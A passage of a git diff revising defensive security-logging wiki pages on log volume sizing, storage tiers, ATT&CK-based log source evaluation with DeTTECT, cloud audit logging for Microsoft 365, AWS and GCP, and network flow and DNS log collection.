src="../.gitbook/assets/mitre_data_source_analysis.pdf" %} -## **Calculating logging infrastructure needs** +## Calculating Infrastructure Needs -When creating out our logging strategy it is crucially important to plan our the hardware and software needed to support both the logging operation itself as well as the storage for the logs collected. The best method of gauging what we need, is with a Proof-of-Concept. In a POC, we can take a sampling of log data and easily calculate certain needed data points: +Plan collection and storage with a proof-of-concept whenever possible. Sample real events, measure volume, and account for peak periods. -* EPD: Events per day - Used for calculating overall storage capacity. -* EPS: Events per second - Used for calculating the network and tool throughput required. -* Peak EPS - Used for calculating maximum surge throughput needed at one time. +Key sizing values: -If a POC of regular traffic is not feasible, it is possible to deploy scripts can pull the appropriate logs to help gauge and effective EPS.Another method for sizing EPS is by using estimation from third party research. While easy, it is not an advised method as estimations can vary wildly between sources. These options are handy and easier to use, but typically a POC for calculating event throughput is the only way to properly size log storage needs with any accuracy. +* **EPD** - Events per day. Useful for storage capacity. +* **EPS** - Events per second. Useful for ingestion and pipeline sizing. +* **Peak EPS** - Maximum burst throughput. + +If sampling is not possible, third-party estimates can help with early planning, but they should not replace measurement. * [SANS: Benchmarking SIEM](https://apps.es.vt.edu/confluence/download/attachments/460849213/sans%20siem%20benchmarking.pdf?api=v2) -* [https://content.solarwinds.com/creative/pdf/Whitepapers/estimating\_log\_generation\_white\_paper.pdf](https://content.solarwinds.com/creative/pdf/Whitepapers/estimating\_log\_generation\_white\_paper.pdf) +* [SolarWinds: Estimating Log Generation](https://content.solarwinds.com/creative/pdf/Whitepapers/estimating_log_generation_white_paper.pdf) + +## Types of Log Storage + +Retention should be driven by investigation needs, legal requirements, and budget. Mandiant's older M-Trends reporting cited long dwell times, which is a useful reminder: teams often need logs from weeks or months before detection. + +* **Hot** - Recent, active logs on fast storage. Commonly 7-30 days. +* **Warm** - Older but still searchable logs on cheaper storage. Commonly 30-90+ days. +* **Cold** - Long-term storage for rare lookbacks, compliance, and historical investigations. -## **Types of Log Storage** +## Log Collection Methodology -A data retention policy is always an important item to plan out when developing your logging strategy. In security, you must always be thinking about how far back in your logs will you need to go to effectively investigate a security incident. If we take [Mandiant's calculation](https://www.fireeye.com/blog/threat-research/2020/02/mtrends-2020-insights-from-the-front-lines.html) of an average 56 days to detect an intrusion, logic would dictate that we would need at least that. Anything beyond that length of time, is determined by your budget. +Collection depends on the source. -There are three types of log storage that we would typically see and deal with when managing logs in a SIEM: +* **Application and device logs** - Usually collected by native forwarding, syslog, agents, APIs, or file pickup. +* **Endpoint logs** - Windows Event Logs, PowerShell logs, Linux syslog, auditd, EDR telemetry, and supplementary agents. +* **Service logs** - DNS, HTTP, SMTP, VPN, proxy, firewall, and other service-specific records. +* **Network-derived logs** - Zeek, Corelight, flow exporters, packet sensors, and cloud flow logs. +* **Cloud logs** - Provider audit logs, identity logs, API activity, flow logs, and SaaS audit exports. -* Hot - These are your most recent and active logs. Typically saved on SSD's for the fastest response, retention on these disks are recommended for a minimum of 7 days, preferably 30 or more. -* Warm - Once past the time frame of the most use, logs can be moved from SSDs to slower but larger mediums like Hard Disk or Tape. Some SIEMs have a function that allows transfer of data from these disks to SDD for faster searches on necessary data. These are typically stored for at least 90 days. -* Cold - Beyond the first 90 days, the chances of needing a particular log file is slim, but not none. Cold storage is a cheap long term solution, but will take a long time to spool back up for use if needed. +Endpoint, network, and cloud logging each have their own pages in this section. -## **Log Collection Methodology** +{% content-ref url="logging-guide-windows-endpoint-logs.md" %} +[logging-guide-windows-endpoint-logs.md](logging-guide-windows-endpoint-logs.md) +{% endcontent-ref %} -Determining how you collect your logs depends greatly on the log you are trying to capture. +{% content-ref url="logging-guide-network-services.md" %} +[logging-guide-network-services.md](logging-guide-network-services.md) +{% endcontent-ref %} -* Application/device logs - These logs will come from a single source. These can be easily captured by native logging utilities within the device/application, a logging agent installed on the device, or some of the many options for syslog or other agentless logging. You mileage may vary, but be sure to investigate all of the options available to determine the right methodology for you. -* Service Logs - Service logs are a slightly different animal that the above logs. With service logs, you might not know exactly where the logs are coming from, or the the utility to capture them is not easy to use. These logs will come down to a few different methodologies: - * Native logging of services built into the devices that use them. - * This has a high degree of fidelity as well as you can custom tailor the quality of logging at the device itself. - * The biggest drawback is the volume of configuration you must do set up all of the devices for logging. You must also be prepared to collect those logs from multiple different sources, which introduces networking issues as well as dealing with multiple different log formats. - * Logging via network monitoring tools to capture all related traffic. - * By using fantastic tools like [ZEEK](https://zeek.org/) or [Corelight](https://corelight.com/), you can collect all of the different services you need to create logs for, with one tool and one log collection location, drastically increasing simplicity without sacrificing quality. - * This will generate logs for systems you are unaware of, as well as provide a consistent logging format. - * The difficulty here is more political as it usually requires a network tap, an additional server, and usually permissions to get the required level of visibility. - * Other options - * Network devices such as Next-Gen firewalls can often be able to create similar network traffic monitoring. These options will work but tend to have inferior logging quality. Certain protocols will have sufficient detail of logging, such as HTTP. Data for other protocols such as HTTPS and DNS are typically insufficient. +{% content-ref url="logging-cloud.md" %} +[logging-cloud.md](logging-cloud.md) +{% endcontent-ref %} -## **Final Note** +## Final Note -Logging solutions are the gas in the tank behind SIEMs and their proper implementation is critical to success. Once they are up, they are like a Bonzai tree; needing constant pruning and care to thrive. The biggest key to deploying and maintaining a logging solution is providing sufficient resourcing in time and staff. As always, no tool or tech, can replace solid personnel and procedures. +Logging platforms require tuning, pruning, and ownership. No SIEM can replace good source selection, clean parsing, consistent enrichment, and analysts who understand the environment. diff --git a/security-logging/log-source-evaluation.md b/security-logging/log-source-evaluation.md index 943c95b..27f23ff 100644 --- a/security-logging/log-source-evaluation.md +++ b/security-logging/log-source-evaluation.md @@ -1,49 +1,74 @@ --- -description: Introducing DeTTECT! +description: Evaluating log source quality and visibility coverage --- # Log Source Evaluation -## Intro +Not all log sources are equal. Evaluation should answer whether a source is present, parsed, complete, timely, attributable, and useful for detections and investigations. -When managing out log sources, we must often evaluate them for their detection capabilities. We know that not all log sources are created equally, but how can we tell? Well we can do this two ways:\ -\ -First, we can see if ther are any standards of logging that we can hold our logs to. For example, if you are a Splunk user, you can use thier CIM, Common information Model to define all of the pertinent data points you need to log, (Per splunk's opinion). +## What to Evaluate -Second, we can evaluate our logs by scoring and comparing your logs to known standards such as Mitre Attack, to determine the level and quality of detection coverage. +* **Coverage** - Which systems, users, services, and environments produce the log? +* **Completeness** - Does the log contain the fields needed for the use case? +* **Fidelity** - Does the source report accurately enough to trust? +* **Timeliness** - How quickly does the event arrive? +* **Attribution** - Can the event be tied to a user, host, process, asset, or service? +* **Normalization** - Are fields mapped into the expected schema? +* **Retention** - Is the data stored long enough for investigations? +* **Cost** - Does the value justify ingestion, storage, and analyst time? + +## Standards and Schemas + +* Splunk Common Information Model (CIM) +* Elastic Common Schema (ECS) +* Open Cybersecurity Schema Framework (OCSF) +* OSSEM Data Model ## DeTTECT -On of the best tools to help with this is [DeTTECT](https://github.com/rabobank-cdc/DeTTECT). DeTTECT aims to assist blue teams using ATT\&CK to score and compare data log source quality, visibility coverage, detection coverage, and threat actor behaviors. All of which can help, in different ways, to get more resilient detection techniques against attacks targeting your organization. The DeTTECT framework consists of a Python tool, YAML administration files, the DeTTECT Editor, and scoring tables for the different aspects. +[DeTTECT](https://github.com/rabobank-cdc/DeTTECT) helps teams score and compare data-source quality, visibility coverage, detection coverage, and threat actor behaviors against ATT&CK. + +DeTTECT resources: + +* [Getting Started](https://github.com/rabobank-cdc/DeTTECT/wiki/Getting-started) +* [DeTTECT presentation](https://www.youtube.com/watch?v=_kWpekkhomU) +* [DeTTECT video guide](https://www.youtube.com/watch?v=EXnutTLKS5o) +* [Mapping your Blue Team to MITRE ATT&CK](https://www.mbsecure.nl/blog/2019/5/dettact-mapping-your-blue-team-to-mitre-attack) +* [dettectinator](https://github.com/siriussecurity/dettectinator) - Python library for DeTTECT YAML files. + * [NVISO: Automate Your Detection Coverage with dettectinator](https://blog.nviso.eu/2023/01/04/dettct-automate-your-detection-coverage-with-dettectinator/) + +## ATT&CK Data Mapping + +* [ATTACKdatamap](https://github.com/olafhartong/ATTACKdatamap) - Olaf Hartong's event-level data-source assessment project for ATT&CK coverage. +* [Assess your data potential with ATT&CK Datamap](https://medium.com/@olafhartong/assess-your-data-potential-with-att-ck-datamap-f44884cfed11) +* [OSSEM-DM](https://github.com/OTRF/OSSEM-DM) + +Windows Event ID to ATT&CK mappings and Malware Archaeology cheat sheets are maintained with terminology and mapping references. -DeTTECT provides the following functionality: +{% content-ref url="../blue-defense/terminology-and-mapping.md" %} +[terminology-and-mapping.md](../blue-defense/terminology-and-mapping.md) +{% endcontent-ref %} -* Administrate and score the quality of your data sources. -* Get insight on the visibility you have on for example endpoints. -* Map your detection coverage. -* Map threat actor behaviors. -* Compare visibility, detections, and threat actor behaviors to uncover possible improvements in detection and visibility. This can help you to prioritize your blue teaming efforts. +## Related Pages -DeTTECT Resources +For detection engineering and event analysis: -* Wiki - [https://github.com/rabobank-cdc/DeTTECT/wiki/Getting-started](https://github.com/rabobank-cdc/DeTTECT/wiki/Getting-started) -* Video Presentation - [https://www.youtube.com/watch?v=\_kWpekkhomU](https://www.youtube.com/watch?v=\_kWpekkhomU) -* Video Guide - [https://www.youtube.com/watch?v=EXnutTLKS5o](https://www.youtube.com/watch?v=EXnutTLKS5o) -* [https://www.mbsecure.nl/blog/2019/5/dettact-mapping-your-blue-team-to-mitre-attack](https://www.mbsecure.nl/blog/2019/5/dettact-mapping-your-blue-team-to-mitre-attack) -* [https://www.siriussecurity.nl/blog/2019/5/8/mapping-your-blue-team-to-mitre-attack](https://www.siriussecurity.nl/blog/2019/5/8/mapping-your-blue-team-to-mitre-attack) -* [https://github.com/siriussecurity/dettectinator](https://github.com/siriussecurity/dettectinator) - The Python library to your DeTT\&CT YAML files. - * [https://blog.nviso.eu/2023/01/04/dettct-automate-your-detection-coverage-with-dettectinator/](https://blog.nviso.eu/2023/01/04/dettct-automate-your-detection-coverage-with-dettectinator/) +{% content-ref url="../blue-defense/event-detection/" %} +[event-detection](../blue-defense/event-detection/) +{% endcontent-ref %} -## ATTACKDataMap +{% content-ref url="../blue-defense/event-and-log-analysis.md" %} +[event-and-log-analysis.md](../blue-defense/event-and-log-analysis.md) +{% endcontent-ref %} -This is an amazing tool written by the Sysmon Guru Olaf Hartong, for mapping data sources and their tracked events to Mitre coverage. +For selecting collection priorities: -* [ATTACKdatamap](https://github.com/olafhartong/ATTACKdatamap) - A datasource assessment on an event level to show potential coverage or the MITRE ATT\&CK framework -* [https://medium.com/@olafhartong/assess-your-data-potential-with-att-ck-datamap-f44884cfed11](https://medium.com/@olafhartong/assess-your-data-potential-with-att-ck-datamap-f44884cfed11) -* [https://github.com/OTRF/OSSEM-DM](https://github.com/OTRF/OSSEM-DM) +{% content-ref url="how-to-log.md" %} +[how-to-log.md](how-to-log.md) +{% endcontent-ref %} -## Misc +## Legacy References -* [https://www.socinvestigation.com/mapping-mitre-attck-with-window-event-log-ids/](https://www.socinvestigation.com/mapping-mitre-attck-with-window-event-log-ids/) +The older September 2018 Windows ATT&CK logging cheat sheet is a historical reference. Prefer maintained ATT&CK mappings and Malware Archaeology resources for current work. {% embed url="https://static1.squarespace.com/static/552092d5e4b0661088167e5c/t/5b8f091c0ebbe8644d3a886c/1536100639356/Windows+ATT%26CK_Logging+Cheat+Sheet_ver_Sept_2018.pdf" %} diff --git a/security-logging/logging-cloud.md b/security-logging/logging-cloud.md index deeda79..9679505 100644 --- a/security-logging/logging-cloud.md +++ b/security-logging/logging-cloud.md @@ -1,12 +1,48 @@ --- -description: Currently in Dev... +description: Cloud audit, identity, activity, and flow logging --- # Logging - Cloud -O365 +Cloud logging should capture identity activity, control-plane API calls, workload/network activity, security findings, and SaaS audit records. Keep posture management, hardening, and offensive cloud testing on the main Cloud page. -* [https://thecloudtechnologist.com/2021/10/15/everything-you-wanted-to-know-about-security-and-audit-logging-in-office-365/amp/](https://thecloudtechnologist.com/2021/10/15/everything-you-wanted-to-know-about-security-and-audit-logging-in-office-365/amp/) -* [https://github.com/invictus-ir/Microsoft-365-Extractor-Suite](https://github.com/invictus-ir/Microsoft-365-Extractor-Suite) -* [Unified Audit logs in Microsoft 365](https://www.youtube.com/watch?v=c1kId\_esv0k) +{% content-ref url="../cloud.md" %} +[cloud.md](../cloud.md) +{% endcontent-ref %} + +## Microsoft 365, Entra ID, and Azure + +* [Microsoft Purview: Search the audit log](https://learn.microsoft.com/en-us/purview/audit-log-search) +* [Office 365 Management Activity API schema](https://learn.microsoft.com/en-us/office/office-365-management-api/office-365-management-activity-api-schema) +* [Enable Unified Audit Log for delegated Microsoft 365 tenants](https://gcits.com/knowledge-base/enabling-unified-audit-log-delegated-office-365-tenants-via-powershell/) +* [Everything you wanted to know about security and audit logging in Office 365](https://thecloudtechnologist.com/2021/10/15/everything-you-wanted-to-know-about-security-and-audit-logging-in-office-365/amp/) +* [Microsoft-365-Extractor-Suite](https://github.com/invictus-ir/Microsoft-365-Extractor-Suite) - Collection tooling for Microsoft 365 investigation and audit data. +* [Unified Audit Logs in Microsoft 365](https://www.youtube.com/watch?v=c1kId_esv0k) * [The basics of modern authentication - Microsoft identity platform](https://www.youtube.com/watch?v=tkQJSHFsduY) +* [Azure Monitor Activity Log](https://learn.microsoft.com/en-us/azure/azure-monitor/essentials/activity-log) +* [Azure diagnostic settings](https://learn.microsoft.com/en-us/azure/azure-monitor/essentials/diagnostic-settings) +* [Microsoft Sentinel](https://learn.microsoft.com/en-us/azure/sentinel/) + +## AWS + +* [AWS CloudTrail](https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-user-guide.html) - Control-plane API logging. +* [AWS CloudTrail Lake](https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-lake.html) - Queryable CloudTrail event lake. +* [Amazon VPC Flow Logs](https://docs.aws.amazon.com/vpc/latest/userguide/flow-logs.html) - Network flow metadata for VPCs, subnets, and interfaces. +* [Amazon GuardDuty](https://docs.aws.amazon.com/guardduty/latest/ug/what-is-guardduty.html) - Managed threat detection findings. +* [AWS Security Hub](https://docs.aws.amazon.com/securityhub/latest/userguide/what-is-securityhub.html) - Aggregates security findings and posture signals. +* [AWS Config](https://docs.aws.amazon.com/config/latest/developerguide/WhatIsConfig.html) - Configuration history and compliance records. + +## Google Cloud + +* [Cloud Audit Logs](https://cloud.google.com/logging/docs/audit) - Admin activity, data access, system event, and policy denied logs. +* [VPC Flow Logs](https://cloud.google.com/vpc/docs/flow-logs) - Network flow metadata. +* [Cloud Logging](https://cloud.google.com/logging/docs) - Centralized logging platform. +* [Security Command Center](https://cloud.google.com/security-command-center/docs) - Findings and cloud security posture signals. + +## Cross-Cloud Collection Notes + +* Centralize identity and control-plane logs first. +* Enable network flow logs where investigations require cloud east-west visibility. +* Normalize account, subscription, project, region, resource ID, principal, source IP, action, result, and user-agent fields. +* Export logs to durable storage when retention requirements exceed native platform defaults. +* Treat SaaS audit logs as first-class sources, especially for identity, mailbox, file-sharing, and administrative actions. diff --git a/security-logging/logging-guide-network-services.md b/security-logging/logging-guide-network-services.md index 2d1ed8d..94fc47c 100644 --- a/security-logging/logging-guide-network-services.md +++ b/security-logging/logging-guide-network-services.md @@ -1,265 +1,191 @@ # Logging - Network Services -When capturing data for detection and monitoring, defenders must make a careful cost benefit comparison on the richness of logs they store, and the cost associated with them. The target is always to have as much data as you need, but storage can rack up in cost. One of the most efficient ways of getting the data you need for detections, is capturing Flow data. Originating with the Cisco [NetFlow](https://www.cisco.com/c/en/us/products/ios-nx-os-software/ios-netflow/index.html) protocol, it takes a small set of data that provides just enough details about your traffic, to make basic detections, without looking into every detail of every packet. +Network service logs provide visibility into communication patterns, service use, policy enforcement, and investigation context. This page focuses on collection and useful fields. Packet analysis tools, PCAP workflows, and deep NFAT analysis live in Blue Defense. -## Logging Sources - -* **Network Device Utilities** - As the original [NetFlow](https://www.cisco.com/c/en/us/products/ios-nx-os-software/ios-netflow/index.html) protocol started with Cisco, it has quickly caught on and become a staple utility bundled with network device tools. Gathering [NetFlow](https://www.cisco.com/c/en/us/products/ios-nx-os-software/ios-netflow/index.html) from core routers or next-gen or layer 3 switches, is a good option for monitoring internal traffic. -* **Next-Gen Firewalls** - Similar to other networking devices, NGFWs can provide traffic flow data as an added utility. This is one of the more common places to start gathering traffic data as you can get flow data on traffic entering and exiting the network. -* **Network Sensors** - Sensors within a network environment set up with taps off of core infrastructure can capture anything from simple flow data to full packet captures. -* **Cloud Infrastructure Utilities** - Certain cloud service providers can provide flow data within your cloud environment such as AWS's [VPCFlow](https://docs.aws.amazon.com/vpc/latest/userguide/flow-logs.html) logs to Cloudwatch. - -{% content-ref url="../../blue-defense/packet-analysis.md" %} -[packet-analysis.md](../../blue-defense/packet-analysis.md) +{% content-ref url="../blue-defense/packet-analysis.md" %} +[packet-analysis.md](../blue-defense/packet-analysis.md) {% endcontent-ref %} -## Session/Flow Basics - -**5-Tuple** - The core of a flow record and the minimum required fields. The first editition of flow data was based around 5 key data points that have been dubbed the "5-tuple". These data points are Source IP, Destionation IP, Source Port, Destination Port, and Protocol. - -**Flow Timout -** Incoming data is appeneded to a flow record if it matches the previously captured 5-tuple data. This flow record can be terminated under three conditions: +## Logging Sources -* Natural Timout - When the traffic naturally ends based on the protocol, such as with packets containing RST or FIN. -* Idle Timeout - When there is no data recieved within thirty seconds of the last packet. This time frame is configurable. -* Active Timeout - When a flow has been open for 30 minutes. This time frame is configurable. +* **Network devices** - Routers, layer 3 switches, firewalls, VPN concentrators, and load balancers can export flow or session metadata. +* **Next-generation firewalls** - Often provide flow logs, application labels, user identity, URL categories, actions, and threat signatures. +* **Network sensors** - TAP/SPAN-connected sensors can generate Zeek/Corelight logs, flow records, PSTR, and PCAP. +* **Cloud infrastructure** - Cloud providers can produce flow logs such as AWS VPC Flow Logs, Azure NSG Flow Logs, and Google VPC Flow Logs. -### **Types of Flow Logging** +Cloud flow logs are covered with other cloud audit sources on the Cloud Logging page. -* [NetFlow](https://www.cisco.com/c/en/us/products/ios-nx-os-software/ios-netflow/index.html) - The original flow data captureing protocol developed by Cisco. - * V5 - The most common NetFlow standard available with 20 available data fields for tracking. - * V9 - The newer standard for netflow logging with 104 available data fields. - * [https://www.plixer.com/blog/netflow-v9-vs-netflow-v5/](https://www.plixer.com/blog/netflow-v9-vs-netflow-v5/) -* [IPFIX](https://tools.ietf.org/html/rfc7011) - A recent flexible alternative to NetFlow that is template based and record-oriented. -* JFlow - The Juniper version of Netflow V5 and V9. The only difference is the method of handling timestamps. -* [sFlow](https://sflow.org/) - based on sampling of 1 out of X number of packets. The advantage is that it can capture layer 2 traffic. - * [https://www.plixer.com/blog/sflow-vs-netflow-comparison/](https://www.plixer.com/blog/sflow-vs-netflow-comparison/) -* Many more. +{% content-ref url="logging-cloud.md" %} +[logging-cloud.md](logging-cloud.md) +{% endcontent-ref %} -### **Reference** +## Session and Flow Basics -* [https://www.flowmon.com/en/solutions/network-and-cloud-operations/netflow-ipfix](https://www.flowmon.com/en/solutions/network-and-cloud-operations/netflow-ipfix) +The **5-tuple** is the minimum connection identity for flow records: -## Flow Tools +* Source IP +* Source port +* Destination IP +* Destination port +* Protocol -Many networking devices have the ability to export Flow data. This includes security devices like firewalls, and even cloud infrastructure like AWS's VPCFlow. For everything else, practitioners can use software Flow generation tools. +Flow records end when traffic naturally closes, remains idle beyond a timeout, or exceeds an active timeout. -* [Fprobe](logging-guide-network-services.md#network-traffic-data-collection-and-logging) - libpcap-based tool that collect network traffic data and emit it as NetFlow flows towards the specified collector. -* [YAF (Yet Another Flowmeter)](logging-guide-network-services.md#network-traffic-data-collection-and-logging) - It processes packet data from pcap(3) dumpfiles as generated by [tcpdump(1)](http://www.tcpdump.org/) or via live capture from an interface using pcap(3) into bidirectional flows, then exports those flows to [IPFIX](http://www.ietf.org/html.charters/ipfix-charter.html) Collecting Processes or in an IPFIX-based file format. YAF's output can be used with the [SiLK flow analysis tools](https://tools.netsa.cert.org/silk/index.html), [super\_mediator](https://tools.netsa.cert.org/super\_mediator/index.html), [Pipeline 5](https://tools.netsa.cert.org/analysis-pipeline5/index.html), and any other IPFIX compliant toolchain. -* [SiLK](https://tools.netsa.cert.org/silk/) - The System for Internet-Level Knowledge, is a collection of traffic analysis tools developed by the CERT Network Situational Awareness Team (CERT NetSA) to facilitate security analysis of large networks. - * SiLK Analysis Handbook - [https://tools.netsa.cert.org/silk/analysis-handbook.pdf](https://tools.netsa.cert.org/silk/analysis-handbook.pdf) - * _Collecting and Analyzing Flow data with SiLK - Applied Network Security Monitoring - pg.83_ -* [OpenArgus ](https://openargus.org/)- Argus is a Real Time Flow Monitor that is designed to perform comprehensive data network traffic auditing. - * [https://qosient.com/argus/argusnetflow.shtml](https://qosient.com/argus/argusnetflow.shtml) - * _Collecting and Analyzing Flow data with Argus - Applied Network Security Monitoring - pg.92_ -* [NTOP](https://www.ntop.org/) - Handy an flexible tool stack that can create packet captures, netflow logs, and network probes for recording traffic of different types. +Common flow formats: -## Packet String Data (PTSR) +* [NetFlow](https://www.cisco.com/c/en/us/products/ios-nx-os-software/ios-netflow/index.html) - Cisco-originated flow export format. +* NetFlow v5 - Widely deployed fixed-field format. +* NetFlow v9 - Template-based NetFlow format with more fields. +* [IPFIX](https://datatracker.ietf.org/doc/html/rfc7011) - Flexible, template-based flow standard. +* JFlow - Juniper flow export. +* [sFlow](https://sflow.org/) - Packet-sampling-based telemetry. -### Tools +## Flow Export and Collection Tools -* [URLSnarf](https://linux.die.net/man/8/urlsnarf) - Part of the [Dsniff](https://www.monkey.org/\~dugsong/dsniff/) suite, this tool sniffs HTTP requests, and outputs all requested URLs sniffed from HTTP traffic in CLF (Common Log Format, used by almost all web servers), suitable for offline post-processing with your favorite web log analysis tool (analog, wwwstat, etc.). -* [httpry](https://github.com/jbittel/httpry) - httpry is a tool designed for displaying and logging HTTP traffic. It is not intended to perform analysis itself, but instead to capture, parse and/or log the traffic for later analysis. -* [justniffer](https://onotelli.github.io/justniffer/) - Justniffer is a network protocol analyzer that captures network traffic and produces logs in a customized way, can emulate Apache web server log files, track response times and extract all "intercepted" files from the HTTP traffic +* [Fprobe](https://github.com/digitalocean/fprobe) - libpcap-based NetFlow exporter. +* [YAF](https://tools.netsa.cert.org/yaf/) - Processes PCAP or live traffic into bidirectional IPFIX flows. +* [OpenArgus](https://openargus.org/) - Real-time flow monitor for traffic auditing. +* [NTOP / ntopng](https://www.ntop.org/) - Network visibility stack that can create packet captures, NetFlow logs, and traffic probes. -### Resources +Flow and packet analysis tooling such as SiLK, super_mediator, URLSnarf, httpry, and justniffer is preserved on the Packet Analysis page. -* _Packet String Data - Applied Network Security Monitoring - pg.121_ +{% content-ref url="../blue-defense/packet-analysis.md" %} +[packet-analysis.md](../blue-defense/packet-analysis.md) +{% endcontent-ref %} -## Required data points +## Required Flow Fields +* Timestamp * Source IP -* Source Port +* Source port * Destination IP -* Destination Port +* Destination port * Protocol -* TCP Flags +* TCP flags * Duration -* Start/Stop Times -* Byte Count -* Packet Count - -## Specific Protocols +* Start and stop times +* Byte count +* Packet count +* Sensor or device name -### DNS +## DNS Logs +DNS logs can come from DNS servers, resolvers, firewalls, endpoint agents, Zeek/Corelight, and cloud DNS services. +### Collection Notes -**Log Collection** +* **Windows DNS** - Event logging and debug logging can expose DNS requests. Analytical logs use ETL and may require tooling that can process ETL at scale. +* **BIND DNS** - Common open source DNS service with configurable query logging. +* **Zeek/Corelight DNS logs** - High-quality network-derived DNS logs with consistent fields. +* **Cloud DNS logs** - Route 53 Resolver Query Logs, Azure DNS logs, and Google Cloud DNS logging can help cover cloud workloads. -DNS logging can come from multiple methods. The most direct methodology is a push/pull of DNS logs from a DNS server. Pulling these from either a Windows or Linux based DNS server requires DNS debugging to be enabled. Typically the debugging level of logging can get both performance and volume intensive. The modern performance of DNS servers combined with proper pruning of logs, makes both of these issues no longer a concern +### Encrypted DNS -* Windows DNS - Servers will have event logging and debug logging. While typically only event level logging is enabled by default, it will require debug logging to actually see the requested query. You will also need to make sure your settings are for Response and not Request. You will want this so the server only sends a log of a request and response pair. Otherwise you will see a large volume of request only logs that are potential duplicates. - * Windows DNS logs are difficult to parse due to a large amount of optional fields. There are pre-developed parsers available for these on Github. You can also extract and reuse the logic in other SIEM solutions if needed. - * [HASecurity Solutions LogStash parsers](https://github.com/HASecuritySolutions/Logstash) - * Windows DNS Analytical Log - Newer Windows DNS logging solution that creates and stores them in ETL format. This newer method can allow an incredible volume of DNS logging with negligible impact to server performance. NXLog Enterprise Edition is one of the few agents that can process this new format. -* [Bind DNS](https://www.isc.org/bind/) - Common opensource DNS logging solution -* [ZEEK](https://github.com/zeek/zeek) Logging - One of the quickest and easiest ways to gather logs of any kind. Zeek DNS logs are easier to manage and parse with a great selection of default fields and defaulting to tab delimiting. +DoT and DoH reduce network-level visibility into DNS queries. Organizations that need internal DNS visibility should define browser, endpoint, and resolver policy rather than relying on ad hoc blocking alone. -**Encrypted DNS** +Useful references: -DNS solutions are now being set up with encrypted communication options with DNS over TLS (DoT) via port 853, or DNS over HTTPS (DoH) via HTTP. While this provides great privacy and protection for an individual user, this provides a big problem for defenders needing to see into DNS traffic. +* [RFC 7858: DNS over TLS](https://datatracker.ietf.org/doc/html/rfc7858) +* [RFC 8484: DNS over HTTPS](https://datatracker.ietf.org/doc/html/rfc8484) +* [Mozilla Canary Domain](https://support.mozilla.org/en-US/kb/canary-domain-use-application-dnsnet) +* [Black Hills: The DNS over HTTPS Mess](https://www.blackhillsinfosec.com/the-dns-over-https-doh-mess/) - Useful 2019-era discussion of defender visibility concerns. -To address visibility issues, we should perform the following in our networks. - -* Disable DoT functionality within your network and block UDP port 853. - * [https://datatracker.ietf.org/doc/html/rfc7858](https://datatracker.ietf.org/doc/html/rfc7858) - * [https://dnsprivacy.org/dns\_privacy\_daemon\_-\_stubby/](https://dnsprivacy.org/dns\_privacy\_daemon\_-\_stubby/) -* Disable DoH functionality within your network by adjusting your enterprise's standard browser configuration. - * [https://datatracker.ietf.org/doc/html/rfc8484](https://datatracker.ietf.org/doc/html/rfc8484) - * [https://www.blackhillsinfosec.com/the-dns-over-https-doh-mess/](https://www.blackhillsinfosec.com/the-dns-over-https-doh-mess/) - * Public DoH services - * cloudflare-dns.com, and one.one.one.one - * Privacy policy statement here at [https://blog.cloudflare.com/announcing-the-results-of-the-1-1-1-1-public-dns-resolver-privacy-examination/](https://blog.cloudflare.com/announcing-the-results-of-the-1-1-1-1-public-dns-resolver-privacy-examination/). - * dns.adguard.com - * [https://kb.adguard.com/en/dns/overview](https://kb.adguard.com/en/dns/overview) - * dns.google, and dns.google.com - * mines data as revenue source - * dns.nextdns.io - * [Privacy Policy – NextDNS](https://nextdns.io/privacy) - * dns.opendns.com, and doh.umbrella.com (Cisco business service) - * [https://](https://www.opendns.com/website-terms-of-use/)[www.opendns.com/website-terms-of-use/](https://www.opendns.com/website-terms-of-use/) - * dns.quad9.net - * [https://www.quad9.net/service/privacy/](https://www.quad9.net/service/privacy/) -* Create and monitor a canary domain that will detect the attempted use of DoH. These domains are typically requested by the clients DoH utility looking for handling instructions from their local resolver. - * [https://support.mozilla.org/en-US/kb/canary-domain-use-application-dnsnet](https://support.mozilla.org/en-US/kb/canary-domain-use-application-dnsnet) - -**Required Data points** +### DNS Fields * Timestamp * Source IP -* Source Hostname -* DNS Server IP -* DNS Server Hostname -* Ephemeral port number - To help identify the session -* Domain Query -* Response to query -* DNS Query type - -**Enrichment Data Points** - -* Top-Level Domains (TLD): Some SIEM solutions do not have regex patterns for pulling out current TLDs. HA Security Solutions has a great [tool ](https://github.com/HASecuritySolutions/tld\_pattern\_calculator)for calculating TLD patterns. -* Parent Domain: High-level domain name -* Subdomains -* Frequency score - Test of domain entropy. If not a something that can be calculated in in your SIEM natively, Mark Bagget wrote a few[ fantastic tools](https://github.com/markbaggett/freq) specifically for this. - * freq.py - Tool for manual entropy checking - * freq\_server.py - Tool that when combined with [APIfy](https://github.com/MarkBaggett/apiify) or [Logstash REST Filter](https://github.com/lucashenning/logstash-filter-rest), can be leveraged by your SIEM for high-performance querying. -* Domain Lengths -* Domain Age - Can be easily found with the WHOIS or RDAP tool - * \#whois DOMAIN | grep 'Creation Date' | grep Z | cut -d':' -f2 | cut -d' ' -f2 -* GeoIP lookup -* Tagging -* [Domain\_stats](https://github.com/MarkBaggett/domain\_stats) - An amazing tool that allows enrichment of multiple data points like domain age and presence on a top 1 million list at scale. This should be leveraged at scale for enriching all your DNS requests. - -**Reference** - -* [http://pubs.sciepub.com/jcsa/8/2/2/index.html](http://pubs.sciepub.com/jcsa/8/2/2/index.html) -* [https://www.sans.org/white-papers/39160/](https://www.sans.org/white-papers/39160/) - -### HTTP/S - -**Log Collection** - -HTTP logs are one of the riches log sources that we may deal with. Logs include so much more than simply port 80 or 443 access. That being said, there are multiple ways to gather HTTP logs, each with their varying context and level of detail. We must also be aware of the direction of traffic as certain tools can give more context to a certain direction. - -* WAF: Web Application Firewall - Great source for inbound HTTP traffic, while also adding security context such as the firewall actions. -* Next-Gen firewall - Many of these have their own network traffic logging capabilities. Some advanced features can include SSL inspection and extraction of SSL certificate data. -* Web-Server logs - Generally contains a wealth of logs, but will need to focus on those that have security context. Web servers can log in many different formats. - * W3C extended - The default for Microsoft IIS Servers. Detailed logs with headers that allow you to easily add and remove fields. IIS server versions change their default data fields between versions, so make sure you set them to the same version format. You can also use powershell on newer IIS logs to format them. - * NCSA - Text file with common HTTP fields - * Combined - Default for Apache and NGINX. Can be converted to JSON. -* Web Proxies - One of the best ways to log HTTP data as well as protect internal assets. - * [Squid Proxy](http://www.squid-cache.org/) - An incredibly flexible open-source web proxy that can cache content for improved network performance. It can also be used for SSL MITM content filtering and AV checks against content. By restricting traffic through a proxy, we can 